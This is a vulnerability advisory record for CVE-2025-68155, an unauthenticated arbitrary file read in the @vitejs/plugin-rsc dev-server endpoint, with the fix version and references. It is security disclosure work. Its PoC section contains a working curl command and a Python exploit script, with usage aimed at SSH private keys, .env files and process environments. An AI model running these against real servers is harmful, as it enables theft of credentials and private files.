{"id":"CVE-2025-68155","aliases":["GHSA-g239-q96q-x4qm"],"url":"https://o3.security/vulnerability/CVE-2025-68155","summary":"@vitejs/plugin-rsc has Arbitrary File Read via `/__vite_rsc_findSourceMapURL` Endpoint on Development","details":"## Summary\n\nThe `/__vite_rsc_findSourceMapURL` endpoint in `@vitejs/plugin-rsc` allows **unauthenticated arbitrary file read** during development mode. An attacker can read any file accessible to the Node.js process by sending a crafted HTTP request with a `file://` URL in the `filename` query parameter.\n\n**Severity:** High\n**Attack Vector:** Network  \n**Privileges Required:** None  \n**Scope:** Development mode only (`vite dev`)\n\n---\n\n## Impact\n\n### Who Is Affected?\n\n- **All developers** using `@vitejs/plugin-rsc` during development\n- Projects running `vite dev` with the RSC plugin enabled\n\n### Attack Scenarios\n\n1. **Network-Exposed Dev Servers:**  \n   When developers run `vite --host 0.0.0.0` (common for mobile testing), attackers on the same network can read files.\n\n2. ~**XSS-Based Attacks:**~\n   ~If the application has an XSS vulnerability, malicious JavaScript can fetch sensitive files and exfiltrate them.~\n\n3. ~**Malicious Dependencies:** ~\n   ~A compromised npm package could include code that reads files during development.~\n\n4. ~**DNS Rebinding:**~ (EDIT: This doesn't apply since https://github.com/vitejs/vite/pull/20222)\n   ~An attacker could use DNS rebinding to access the localhost dev server from a malicious website.~\n\n### What Can Be Leaked?\n\n- Environment files (`.env`, `.env.local`, `.env.production`)\n- SSH keys (`~/.ssh/id_rsa`, `~/.ssh/id_ed25519`)\n- Cloud credentials (`~/.aws/credentials`, `~/.config/gcloud/`)\n- Database passwords and API keys\n- Source code from other projects\n- System files (`/etc/passwd`, `/etc/shadow` if readable)\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File:** `packages/plugin-rsc/src/plugins/find-source-map-url.ts`  \n**Lines:** 49-61\n\nThe vulnerability exists in the `findSourceMapURL` function:\n\n```typescript\nasync function findSourceMapURL(\n  server: ViteDevServer,\n  filename: string,\n  environmentName: string,\n): Promise<object | undefined> {\n  // this is likely server external (i.e. outside of Vite processing)\n  if (filename.startsWith('file://')) {\n    filename = fileURLToPath(filename)\n    if (fs.existsSync(filename)) {\n      // line-by-line identity source map\n      const content = fs.readFileSync(filename, 'utf-8')  // ← ARBITRARY FILE READ\n      return {\n        version: 3,\n        sources: [filename],\n        sourcesContent: [content],  // ← FILE CONTENTS LEAKED HERE\n        mappings: 'AAAA' + ';AACA'.repeat(content.split('\\n').length),\n      }\n    }\n    return\n  }\n  // ... rest of the function\n}\n```\n\n### Root Cause\n\nThe endpoint:\n1. Accepts a user-controlled `filename` parameter from the query string (line 20)\n2. Checks if it starts with `file://` (line 49)\n3. Converts it to a filesystem path using `fileURLToPath()` (line 50)\n4. Reads the file with `fs.readFileSync()` **without any path validation** (line 53)\n5. Returns the file contents in the JSON response (line 57)\n\n**No validation is performed** to ensure the requested file is within the project directory or is a legitimate source file.\n\n---\n\n## PoC\n\n### Quick Test (Single Command)\n\nIf you have a Vite dev server running with `@vitejs/plugin-rsc`, you can test immediately:\n\n```bash\ncurl 'http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd&environmentName=Server'\n```\n\n**Expected output** (file contents in `sourcesContent`):\n\n```json\n{\n  \"version\": 3,\n  \"sources\": [\"/etc/passwd\"],\n  \"sourcesContent\": [\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/sbin:...\"],\n  \"mappings\": \"AAAA;AACA;AACA;...\"\n}\n```\n\n<details><summary>Further details of PoC</summary>\n\n### Complete PoC with Docker\n\nFor a fully reproducible environment, I've prepared a complete PoC:\n\n#### Step 1: Create a minimal `vite.config.ts`\n\n```typescript\nimport { defineConfig } from 'vite'\nimport react from '@vitejs/plugin-rsc'\n\nexport default defineConfig({\n  plugins: [\n    react({\n      serverHandler: false,\n    }),\n  ],\n})\n```\n\n#### Step 2: Create `package.json`\n\n```json\n{\n  \"name\": \"poc-vite-rsc-file-read\",\n  \"version\": \"1.0.0\",\n  \"private\": true,\n  \"type\": \"module\",\n  \"scripts\": {\n    \"dev\": \"vite --host 0.0.0.0\"\n  },\n  \"dependencies\": {\n    \"react\": \"^19.0.0\",\n    \"react-dom\": \"^19.0.0\"\n  },\n  \"devDependencies\": {\n    \"@vitejs/plugin-rsc\": \"latest\",\n    \"vite\": \"^6.0.0\"\n  }\n}\n```\n\n#### Step 3: Create minimal `index.html` and `src/main.tsx`\n\n**index.html:**\n```html\n<!DOCTYPE html>\n<html>\n  <body>\n    <div id=\"root\"></div>\n    <script type=\"module\" src=\"/src/main.tsx\"></script>\n  </body>\n</html>\n```\n\n**src/main.tsx:**\n```tsx\nimport React from 'react'\nimport ReactDOM from 'react-dom/client'\nReactDOM.createRoot(document.getElementById('root')!).render(<div>PoC</div>)\n```\n\n#### Step 4: Start the server and exploit\n\n```bash\n# Install and start\npnpm install\npnpm dev\n\n# In another terminal, exploit:\ncurl 'http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd&environmentName=Server'\n```\n\n### Python Exploit Script\n\nFor easier testing, here's a Python script:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Exploit: Arbitrary File Read via /__vite_rsc_findSourceMapURL\"\"\"\n\nimport json\nimport sys\nimport urllib.request\nimport urllib.parse\n\ndef read_file(host, port, file_path):\n    \"\"\"Read a file from the target server via the vulnerability.\"\"\"\n    url = f\"http://{host}:{port}/__vite_rsc_findSourceMapURL\"\n    params = urllib.parse.urlencode({\n        'filename': f'file://{file_path}',\n        'environmentName': 'Server'\n    })\n    \n    try:\n        with urllib.request.urlopen(f\"{url}?{params}\", timeout=10) as response:\n            data = json.loads(response.read().decode('utf-8'))\n            if 'sourcesContent' in data and data['sourcesContent']:\n                return data['sourcesContent'][0]\n    except Exception as e:\n        return f\"Error: {e}\"\n    return None\n\nif __name__ == '__main__':\n    host = sys.argv[1] if len(sys.argv) > 1 else 'localhost'\n    port = sys.argv[2] if len(sys.argv) > 2 else '5173'\n    file_path = sys.argv[3] if len(sys.argv) > 3 else '/etc/passwd'\n    \n    content = read_file(host, port, file_path)\n    if content:\n        print(f\"[+] Successfully read {file_path}:\")\n        print(\"-\" * 60)\n        print(content)\n        print(\"-\" * 60)\n    else:\n        print(f\"[-] Failed to read {file_path}\")\n```\n\n**Usage:**\n```bash\npython3 exploit.py localhost 5173 /etc/passwd\npython3 exploit.py localhost 5173 /root/.ssh/id_rsa\npython3 exploit.py localhost 5173 /home/user/.env\n```\n\n### Verified Exploitation Results\n\nI tested this in a Docker container and successfully read:\n\n| File | Description |\n|------|-------------|\n| `/etc/passwd` | System user accounts |\n| `/etc/hosts` | Network configuration |\n| `/root/.env.secret` | Environment secrets |\n| `/root/.ssh/id_rsa` | SSH private keys |\n| `/proc/self/environ` | Process environment variables |\n| Source code files | Any file in the filesystem |\n\n**Example output from `/etc/passwd`:**\n\n```\nroot:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nnode:x:1000:1000::/home/node:/bin/sh\n```\n\n**Example output from sensitive secrets file:**\n\n```\nSECRET_API_KEY=sk-live-very-secret-key-12345\nDB_PASSWORD=super_secret_password\nAWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n```\n\n</details>\n\n---","published":"2025-12-16T18:20:51.428Z","modified":"2026-08-12T03:51:35.228204323Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@vitejs/plugin-rsc","fixedVersion":"0.5.8"}],"fix":{"url":"https://github.com/facebook/react/pull/29708","label":"facebook/react#29708"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/68xxx/CVE-2025-68155.json"},{"type":"ADVISORY","url":"https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-g239-q96q-x4qm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-68155"},{"type":"FIX","url":"https://github.com/facebook/react/pull/29708"},{"type":"FIX","url":"https://github.com/facebook/react/pull/30741"},{"type":"FIX","url":"https://github.com/vitejs/vite-plugin-react/commit/582fba0b9a52b13fcff6beaaa3bfbd532bc5359d"},{"type":"PACKAGE","url":"https://github.com/vitejs/vite-plugin-react"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:35.228204323Z"}}